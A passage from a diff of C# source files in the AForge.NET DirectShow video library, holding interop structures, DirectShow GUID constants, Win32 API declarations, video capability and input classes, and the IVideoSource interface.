/// Specifies the x-coordinate of the upper-left corner of the rectangle.
/// </summary>
public int Left;
/// <summary>
/// Specifies the y-coordinate of the upper-left corner of the rectangle.
/// </summary>
public int Top;
/// <summary>
/// Specifies the x-coordinate of the lower-right corner of the rectangle.
/// </summary>
public int Right;
/// <summary>
/// Specifies the y-coordinate of the lower-right corner of the rectangle.
/// </summary>
public int Bottom;
}
// CAUUID
/// <summary>
/// The CAUUID structure is a Counted Array of UUID or GUID types.
/// </summary>
///
[ComVisible( false ),
StructLayout( LayoutKind.Sequential )]
internal struct CAUUID
{
/// <summary>
/// Size of the array pointed to by <b>pElems</b>.
/// </summary>
public int cElems;
/// <summary>
/// Pointer to an array of UUID values, each of which specifies UUID.
/// </summary>
public IntPtr pElems;
/// <summary>
/// Performs manual marshaling of <b>pElems</b> to retrieve an array of Guid objects.
/// </summary>
///
/// <returns>A managed representation of <b>pElems</b>.</returns>
///
public Guid[] ToGuidArray( )
{
Guid[] retval = new Guid[cElems];
for ( int i = 0; i < cElems; i++ )
{
IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) );
retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) );
}
return retval;
}
}
/// <summary>
/// Enumeration of DirectShow event codes.
/// </summary>
internal enum DsEvCode
{
None,
Complete = 0x01, // EC_COMPLETE
DeviceLost = 0x1F, // EC_DEVICE_LOST
//(...) not yet interested in other events
}
[Flags, ComVisible( false )]
internal enum AnalogVideoStandard
{
None = 0x00000000, // This is a digital sensor
NTSC_M = 0x00000001, // 75 IRE Setup
NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup
NTSC_433 = 0x00000004,
PAL_B = 0x00000010,
PAL_D = 0x00000020,
PAL_G = 0x00000040,
PAL_H = 0x00000080,
PAL_I = 0x00000100,
PAL_M = 0x00000200,
PAL_N = 0x00000400,
PAL_60 = 0x00000800,
SECAM_B = 0x00001000,
SECAM_D = 0x00002000,
SECAM_G = 0x00004000,
SECAM_H = 0x00008000,
SECAM_K = 0x00010000,
SECAM_K1 = 0x00020000,
SECAM_L = 0x00040000,
SECAM_L1 = 0x00080000,
PAL_N_COMBO = 0x00100000 // Argentina
}
[Flags, ComVisible( false )]
internal enum VideoControlFlags
{
FlipHorizontal = 0x0001,
FlipVertical = 0x0002,
ExternalTriggerEnable = 0x0004,
Trigger = 0x0008
}
[StructLayout( LayoutKind.Sequential ), ComVisible( false )]
internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS
{
public Guid Guid;
public AnalogVideoStandard VideoStandard;
public Size InputSize;
public Size MinCroppingSize;
public Size MaxCroppingSize;
public int CropGranularityX;
public int CropGranularityY;
public int CropAlignX;
public int CropAlignY;
public Size MinOutputSize;
public Size MaxOutputSize;
public int OutputGranularityX;
public int OutputGranularityY;
public int StretchTapsX;
public int StretchTapsY;
public int ShrinkTapsX;
public int ShrinkTapsY;
public long MinFrameInterval;
public long MaxFrameInterval;
public int MinBitsPerSecond;
public int MaxBitsPerSecond;
}
/// <summary>
/// Specifies a filter's state or the state of the filter graph.
/// </summary>
internal enum FilterState
{
/// <summary>
/// Stopped. The filter is not processing data.
/// </summary>
State_Stopped,
/// <summary>
/// Paused. The filter is processing data, but not rendering it.
/// </summary>
State_Paused,
/// <summary>
/// Running. The filter is processing and rendering data.
/// </summary>
State_Running
}
}
@@ -0,0 +1,299 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// DirectShow class IDs.
/// </summary>
[ComVisible( false )]
static internal class Clsid
{
/// <summary>
/// System device enumerator.
/// </summary>
///
/// <remarks>Equals to CLSID_SystemDeviceEnum.</remarks>
///
public static readonly Guid SystemDeviceEnum =
new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
/// <summary>
/// Filter graph.
/// </summary>
///
/// <remarks>Equals to CLSID_FilterGraph.</remarks>
///
public static readonly Guid FilterGraph =
new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// Sample grabber.
/// </summary>
///
/// <remarks>Equals to CLSID_SampleGrabber.</remarks>
///
public static readonly Guid SampleGrabber =
new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 );
/// <summary>
/// Capture graph builder.
/// </summary>
///
/// <remarks>Equals to CLSID_CaptureGraphBuilder2.</remarks>
///
public static readonly Guid CaptureGraphBuilder2 =
new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
/// <summary>
/// Async reader.
/// </summary>
///
/// <remarks>Equals to CLSID_AsyncReader.</remarks>
///
public static readonly Guid AsyncReader =
new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
}
/// <summary>
/// DirectShow format types.
/// </summary>
///
[ComVisible( false )]
static internal class FormatType
{
/// <summary>
/// VideoInfo.
/// </summary>
///
/// <remarks>Equals to FORMAT_VideoInfo.</remarks>
///
public static readonly Guid VideoInfo =
new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A );
/// <summary>
/// VideoInfo2.
/// </summary>
///
/// <remarks>Equals to FORMAT_VideoInfo2.</remarks>
///
public static readonly Guid VideoInfo2 =
new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
}
/// <summary>
/// DirectShow media types.
/// </summary>
///
[ComVisible( false )]
static internal class MediaType
{
/// <summary>
/// Video.
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Video.</remarks>
///
public static readonly Guid Video =
new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// Interleaved. Used by Digital Video (DV).
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Interleaved.</remarks>
///
public static readonly Guid Interleaved =
new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// Audio.
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Audio.</remarks>
///
public static readonly Guid Audio =
new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// Text.
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Text.</remarks>
///
public static readonly Guid Text =
new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// Byte stream with no time stamps.
/// </summary>
///
/// <remarks>Equals to MEDIATYPE_Stream.</remarks>
///
public static readonly Guid Stream =
new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
}
/// <summary>
/// DirectShow media subtypes.
/// </summary>
///
[ComVisible( false )]
static internal class MediaSubType
{
/// <summary>
/// YUY2 (packed 4:2:2).
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_YUYV.</remarks>
///
public static readonly Guid YUYV =
new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// IYUV.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_IYUV.</remarks>
///
public static readonly Guid IYUV =
new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// A DV encoding format. (FOURCC 'DVSD')
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_DVSD.</remarks>
///
public static readonly Guid DVSD =
new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
/// <summary>
/// RGB, 1 bit per pixel (bpp), palettized.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB1.</remarks>
///
public static readonly Guid RGB1 =
new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB, 4 bpp, palettized.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB4.</remarks>
///
public static readonly Guid RGB4 =
new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB, 8 bpp.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB8.</remarks>
///
public static readonly Guid RGB8 =
new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB 565, 16 bpp.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB565.</remarks>
///
public static readonly Guid RGB565 =
new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB 555, 16 bpp.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB555.</remarks>
///
public static readonly Guid RGB555 =
new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB, 24 bpp.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB24.</remarks>
///
public static readonly Guid RGB24 =
new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// RGB, 32 bpp, no alpha channel.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_RGB32.</remarks>
///
public static readonly Guid RGB32 =
new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// Data from AVI file.
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_Avi.</remarks>
///
public static readonly Guid Avi =
new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
/// <summary>
/// Advanced Streaming Format (ASF).
/// </summary>
///
/// <remarks>Equals to MEDIASUBTYPE_Asf.</remarks>
///
public static readonly Guid Asf =
new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 );
}
/// <summary>
/// DirectShow pin categories.
/// </summary>
///
[ComVisible( false )]
static internal class PinCategory
{
/// <summary>
/// Capture pin.
/// </summary>
///
/// <remarks>Equals to PIN_CATEGORY_CAPTURE.</remarks>
///
public static readonly Guid Capture =
new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
/// <summary>
/// Still image pin.
/// </summary>
///
/// <remarks>Equals to PIN_CATEGORY_STILL.</remarks>
///
public static readonly Guid StillImage =
new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
}
// Below GUIDs are used by ICaptureGraphBuilder::FindInterface().
[ComVisible( false )]
static internal class FindDirection
{
/// <summary>Equals to LOOK_UPSTREAM_ONLY.</summary>
public static readonly Guid UpstreamOnly =
new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
/// <summary>Equals to LOOK_DOWNSTREAM_ONLY.</summary>
public static readonly Guid DownstreamOnly =
new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
}
}
@@ -0,0 +1,102 @@
// AForge Video for Windows Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2007-2011
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
/// <summary>
/// Some Win32 API used internally.
/// </summary>
///
internal static class Win32
{
/// <summary>
/// Supplies a pointer to an implementation of <b>IBindCtx</b> (a bind context object).
/// This object stores information about a particular moniker-binding operation.
/// </summary>
///
/// <param name="reserved">Reserved for future use; must be zero.</param>
/// <param name="ppbc">Address of <b>IBindCtx*</b> pointer variable that receives the
/// interface pointer to the new bind context object.</param>
///
/// <returns>Returns <b>S_OK</b> on success.</returns>
///
[DllImport( "ole32.dll" )]
public static extern
int CreateBindCtx( int reserved, out IBindCtx ppbc );
/// <summary>
/// Converts a string into a moniker that identifies the object named by the string.
/// </summary>
///
/// <param name="pbc">Pointer to the IBindCtx interface on the bind context object to be used in this binding operation.</param>
/// <param name="szUserName">Pointer to a zero-terminated wide character string containing the display name to be parsed. </param>
/// <param name="pchEaten">Pointer to the number of characters of szUserName that were consumed.</param>
/// <param name="ppmk">Address of <b>IMoniker*</b> pointer variable that receives the interface pointer
/// to the moniker that was built from <b>szUserName</b>.</param>
///
/// <returns>Returns <b>S_OK</b> on success.</returns>
///
[DllImport( "ole32.dll", CharSet = CharSet.Unicode )]
public static extern
int MkParseDisplayName( IBindCtx pbc, string szUserName,
ref int pchEaten, out IMoniker ppmk );
/// <summary>
/// Copy a block of memory.
/// </summary>
///
/// <param name="dst">Destination pointer.</param>
/// <param name="src">Source pointer.</param>
/// <param name="count">Memory block's length to copy.</param>
///
/// <returns>Return's the value of <b>dst</b> - pointer to destination.</returns>
///
[DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )]
public static unsafe extern int memcpy(
byte* dst,
byte* src,
int count );
/// <summary>
/// Invokes a new property frame, that is, a property sheet dialog box.
/// </summary>
///
/// <param name="hwndOwner">Parent window of property sheet dialog box.</param>
/// <param name="x">Horizontal position for dialog box.</param>
/// <param name="y">Vertical position for dialog box.</param>
/// <param name="caption">Dialog box caption.</param>
/// <param name="cObjects">Number of object pointers in <b>ppUnk</b>.</param>
/// <param name="ppUnk">Pointer to the objects for property sheet.</param>
/// <param name="cPages">Number of property pages in <b>lpPageClsID</b>.</param>
/// <param name="lpPageClsID">Array of CLSIDs for each property page.</param>
/// <param name="lcid">Locale identifier for property sheet locale.</param>
/// <param name="dwReserved">Reserved.</param>
/// <param name="lpvReserved">Reserved.</param>
///
/// <returns>Returns <b>S_OK</b> on success.</returns>
///
[DllImport( "oleaut32.dll" )]
public static extern int OleCreatePropertyFrame(
IntPtr hwndOwner,
int x,
int y,
[MarshalAs( UnmanagedType.LPWStr )] string caption,
int cObjects,
[MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )]
ref object ppUnk,
int cPages,
IntPtr lpPageClsID,
int lcid,
int dwReserved,
IntPtr lpvReserved );
}
}
@@ -0,0 +1,123 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2012
// [email protected]
//
namespace AForge.Video.DirectShow
{
/// <summary>
/// Specifies the physical type of pin (audio or video).
/// </summary>
public enum PhysicalConnectorType
{
/// <summary>
/// Default value of connection type. Physically it does not exist, but just either to specify that
/// connection type should not be changed (input) or was not determined (output).
/// </summary>
Default = 0,
/// <summary>
/// Specifies a tuner pin for video.
/// </summary>
VideoTuner = 1,
/// <summary>
/// Specifies a composite pin for video.
/// </summary>
VideoComposite,
/// <summary>
/// Specifies an S-Video (Y/C video) pin.
/// </summary>
VideoSVideo,
/// <summary>
/// Specifies an RGB pin for video.
/// </summary>
VideoRGB,
/// <summary>
/// Specifies a YRYBY (Y, RY, BY) pin for video.
/// </summary>
VideoYRYBY,
/// <summary>
/// Specifies a serial digital pin for video.
/// </summary>
VideoSerialDigital,
/// <summary>
/// Specifies a parallel digital pin for video.
/// </summary>
VideoParallelDigital,
/// <summary>
/// Specifies a SCSI (Small Computer System Interface) pin for video.
/// </summary>
VideoSCSI,
/// <summary>
/// Specifies an AUX (auxiliary) pin for video.
/// </summary>
VideoAUX,
/// <summary>
/// Specifies an IEEE 1394 pin for video.
/// </summary>
Video1394,
/// <summary>
/// Specifies a USB (Universal Serial Bus) pin for video.
/// </summary>
VideoUSB,
/// <summary>
/// Specifies a video decoder pin.
/// </summary>
VideoDecoder,
/// <summary>
/// Specifies a video encoder pin.
/// </summary>
VideoEncoder,
/// <summary>
/// Specifies a SCART (Peritel) pin for video.
/// </summary>
VideoSCART,
/// <summary>
/// Not used.
/// </summary>
VideoBlack,
/// <summary>
/// Specifies a tuner pin for audio.
/// </summary>
AudioTuner = 4096,
/// <summary>
/// Specifies a line pin for audio.
/// </summary>
AudioLine,
/// <summary>
/// Specifies a microphone pin.
/// </summary>
AudioMic,
/// <summary>
/// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio.
/// </summary>
AudioAESDigital,
/// <summary>
/// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio.
/// </summary>
AudioSPDIFDigital,
/// <summary>
/// Specifies a SCSI pin for audio.
/// </summary>
AudioSCSI,
/// <summary>
/// Specifies an AUX pin for audio.
/// </summary>
AudioAUX,
/// <summary>
/// Specifies an IEEE 1394 pin for audio.
/// </summary>
Audio1394,
/// <summary>
/// Specifies a USB pin for audio.
/// </summary>
AudioUSB,
/// <summary>
/// Specifies an audio decoder pin.
/// </summary>
AudioDecoder
}
}
@@ -0,0 +1,55 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// [email protected]
//
namespace AForge.Video.DirectShow
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// DirectShow filter categories.
/// </summary>
[ComVisible( false )]
public static class FilterCategory
{
/// <summary>
/// Audio input device category.
/// </summary>
///
/// <remarks>Equals to CLSID_AudioInputDeviceCategory.</remarks>
///
public static readonly Guid AudioInputDevice =
new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
/// <summary>
/// Video input device category.
/// </summary>
///
/// <remarks>Equals to CLSID_VideoInputDeviceCategory.</remarks>
///
public static readonly Guid VideoInputDevice =
new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
/// <summary>
/// Video compressor category.
/// </summary>
///
/// <remarks>Equals to CLSID_VideoCompressorCategory.</remarks>
///
public static readonly Guid VideoCompressorCategory =
new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
/// <summary>
/// Audio compressor category
/// </summary>
///
/// <remarks>Equals to CLSID_AudioCompressorCategory.</remarks>
///
public static readonly Guid AudioCompressorCategory =
new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
}
}
@@ -0,0 +1,245 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// [email protected]
//
namespace AForge.Video.DirectShow
{
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Runtime.InteropServices;
using AForge.Video;
using AForge.Video.DirectShow.Internals;
/// <summary>
/// Capabilities of video device such as frame size and frame rate.
/// </summary>
public class VideoCapabilities
{
/// <summary>
/// Frame size supported by video device.
/// </summary>
public readonly Size FrameSize;
/// <summary>
/// Frame rate supported by video device for corresponding <see cref="FrameSize">frame size</see>.
/// </summary>
///
/// <remarks><para><note>This field is depricated - should not be used.
/// Its value equals to <see cref="AverageFrameRate"/>.</note></para>
/// </remarks>
///
[Obsolete( "No longer supported. Use AverageFrameRate instead." )]
public int FrameRate
{
get { return AverageFrameRate; }
}
/// <summary>
/// Average frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
/// </summary>
public readonly int AverageFrameRate;
/// <summary>
/// Maximum frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
/// </summary>
public readonly int MaximumFrameRate;
/// <summary>
/// Number of bits per pixel provided by the camera.
/// </summary>
public readonly int BitCount;
internal VideoCapabilities( ) { }
// Retrieve capabilities of a video device
static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig )
{
if ( videoStreamConfig == null )
throw new ArgumentNullException( "videoStreamConfig" );
// ensure this device reports capabilities
int count, size;
int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size );
if ( hr != 0 )
Marshal.ThrowExceptionForHR( hr );
if ( count <= 0 )
throw new NotSupportedException( "This video device does not report capabilities." );
if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) )
throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." );
// group capabilities with similar parameters
Dictionary<uint, VideoCapabilities> videocapsList = new Dictionary<uint, VideoCapabilities>( );
for ( int i = 0; i < count; i++ )
{
try
{
VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i );
uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) |
( ( (uint) vc.FrameSize.Width ) << 16 );
if ( !videocapsList.ContainsKey( key ) )
{
videocapsList.Add( key, vc );
}
else
{
if ( vc.BitCount > videocapsList[key].BitCount )
{
videocapsList[key] = vc;
}
}
}
catch
{
}
}
VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count];
videocapsList.Values.CopyTo( videocaps, 0 );
return videocaps;
}
// Retrieve capabilities of a video device
internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index )
{
AMMediaType mediaType = null;
VideoStreamConfigCaps caps = new VideoStreamConfigCaps( );
try
{
// retrieve capabilities struct at the specified index
int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps );
if ( hr != 0 )
Marshal.ThrowExceptionForHR( hr );
if ( mediaType.FormatType == FormatType.VideoInfo )
{
VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) );
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
BitCount = videoInfo.BmiHeader.BitCount;
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
}
else if ( mediaType.FormatType == FormatType.VideoInfo2 )
{
VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) );
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
BitCount = videoInfo.BmiHeader.BitCount;
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
}
else
{
throw new ApplicationException( "Unsupported format found." );
}
// ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8
// TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail
// on such formats
if ( BitCount <= 12 )
{
throw new ApplicationException( "Unsupported format found." );
}
}
finally
{
if ( mediaType != null )
mediaType.Dispose( );
}
}
/// <summary>
/// Check if the video capability equals to the specified object.
/// </summary>
///
/// <param name="obj">Object to compare with.</param>
///
/// <returns>Returns true if both are equal are equal or false otherwise.</returns>
///
public override bool Equals( object obj )
{
return Equals( obj as VideoCapabilities );
}
/// <summary>
/// Check if two video capabilities are equal.
/// </summary>
///
/// <param name="vc2">Second video capability to compare with.</param>
///
/// <returns>Returns true if both video capabilities are equal or false otherwise.</returns>
///
public bool Equals( VideoCapabilities vc2 )
{
if ( (object) vc2 == null )
{
return false;
}
return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) );
}
/// <summary>
/// Get hash code of the object.
/// </summary>
///
/// <returns>Returns hash code ot the object </returns>
public override int GetHashCode( )
{
return FrameSize.GetHashCode( ) ^ BitCount;
}
/// <summary>
/// Equality operator.
/// </summary>
///
/// <param name="a">First object to check.</param>
/// <param name="b">Seconds object to check.</param>
///
/// <returns>Return true if both objects are equal or false otherwise.</returns>
public static bool operator ==( VideoCapabilities a, VideoCapabilities b )
{
// if both are null, or both are same instance, return true.
if ( object.ReferenceEquals( a, b ) )
{
return true;
}
// if one is null, but not both, return false.
if ( ( (object) a == null ) || ( (object) b == null ) )
{
return false;
}
return a.Equals( b );
}
/// <summary>
/// Inequality operator.
/// </summary>
///
/// <param name="a">First object to check.</param>
/// <param name="b">Seconds object to check.</param>
///
/// <returns>Return true if both objects are not equal or false otherwise.</returns>
public static bool operator !=( VideoCapabilities a, VideoCapabilities b )
{
return !( a == b );
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,47 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2012
// [email protected]
//
namespace AForge.Video.DirectShow
{
using System;
/// <summary>
/// Video input of a capture board.
/// </summary>
///
/// <remarks><para>The class is used to describe video input of devices like video capture boards,
/// which usually provide several inputs.</para>
/// </remarks>
///
public class VideoInput
{
/// <summary>
/// Index of the video input.
/// </summary>
public readonly int Index;
/// <summary>
/// Type of the video input.
/// </summary>
public readonly PhysicalConnectorType Type;
internal VideoInput( int index, PhysicalConnectorType type )
{
Index = index;
Type = type;
}
/// <summary>
/// Default video input. Used to specify that it should not be changed.
/// </summary>
public static VideoInput Default
{
get { return new VideoInput( -1, PhysicalConnectorType.Default ); }
}
}
}
@@ -0,0 +1,126 @@
// AForge Video Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © Andrew Kirillov, 2005-2009
// [email protected]
//
namespace AForge.Video
{
using System;
/// <summary>
/// Video source interface.
/// </summary>
///
/// <remarks>The interface describes common methods for different type of video sources.</remarks>
///
public interface IVideoSource
{
/// <summary>
/// New frame event.
/// </summary>
///
/// <remarks><para>This event is used to notify clients about new available video frame.</para>
///
/// <para><note>Since video source may have multiple clients, each client is responsible for
/// making a copy (cloning) of the passed video frame, but video source is responsible for
/// disposing its own original copy after notifying of clients.</note></para>
/// </remarks>
///
event NewFrameEventHandler NewFrame;
/// <summary>
/// Video source error event.
/// </summary>
///
/// <remarks>This event is used to notify clients about any type of errors occurred in
/// video source object, for example internal exceptions.</remarks>
///
event VideoSourceErrorEventHandler VideoSourceError;
/// <summary>
/// Video playing finished event.
/// </summary>
///
/// <remarks><para>This event is used to notify clients that the video playing has finished.</para>
/// </remarks>
///
event PlayingFinishedEventHandler PlayingFinished;
/// <summary>
/// Video source.
/// </summary>
///
/// <remarks>The meaning of the property depends on particular video source.
/// Depending on video source it may be a file name, URL or any other string
/// describing the video source.</remarks>
///
string Source { get; }
/// <summary>
/// Received frames count.
/// </summary>
///
/// <remarks>Number of frames the video source provided from the moment of the last
/// access to the property.
/// </remarks>
///
int FramesReceived { get; }
/// <summary>
/// Received bytes count.
/// </summary>
///
/// <remarks>Number of bytes the video source provided from the moment of the last
/// access to the property.
/// </remarks>
///
long BytesReceived { get; }
/// <summary>
/// State of the video source.
/// </summary>
///
/// <remarks>Current state of video source object - running or not.</remarks>
///
bool IsRunning { get; }
/// <summary>
/// Start video source.
/// </summary>
///
/// <remarks>Starts video source and return execution to caller. Video source
/// object creates background thread and notifies about new frames with the
/// help of <see cref="NewFrame"/> event.</remarks>
///
void Start( );
/// <summary>
/// Signal video source to stop its work.
/// </summary>
///
/// <remarks>Signals video source to stop its background thread, stop to
/// provide new frames and free resources.</remarks>
///
void SignalToStop( );
/// <summary>
/// Wait for video source has stopped.
/// </summary>
///
/// <remarks>Waits for video source stopping after it was signalled to stop using
/// <see cref="SignalToStop"/> method.</remarks>
///
void WaitForStop( );
/// <summary>
/// Stop video source.
/// </summary>
///
/// <remarks>Stops video source aborting its thread.</remarks>
///
void Stop( );
}
}
@@ -0,0 +1,125 @@
// AForge Video Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2011
// [email protected]
//
namespace AForge.Video
{
using System;
/// <summary>
/// Delegate for new frame event handler.
/// </summary>
///
/// <param name="sender">Sender object.</param>
/// <param name="eventArgs">Event arguments.</param>
///
public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs );
/// <summary>
/// Delegate for video source error event handler.
/// </summary>
///
/// <param name="sender">Sender object.</param>
/// <param name="eventArgs">Event arguments.</param>
///
public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs );
/// <summary>
/// Delegate for playing finished event handler.
/// </summary>
///
/// <param name="sender">Sender object.</param>
/// <param name="reason">Reason of finishing video playing.</param>
///
public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason );
/// <summary>
/// Reason of finishing video playing.
/// </summary>
///
/// <remarks><para>When video source class fire the <see cref="IVideoSource.PlayingFinished"/> event, they
/// need to specify reason of finishing video playing. For example, it may be end of stream reached.</para></remarks>
///
